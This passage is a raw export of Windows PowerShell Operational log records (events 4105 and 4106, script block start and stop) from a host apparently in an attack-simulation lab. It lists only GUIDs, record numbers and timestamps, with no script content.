LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027859
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027857
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027856
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027839
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027833
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
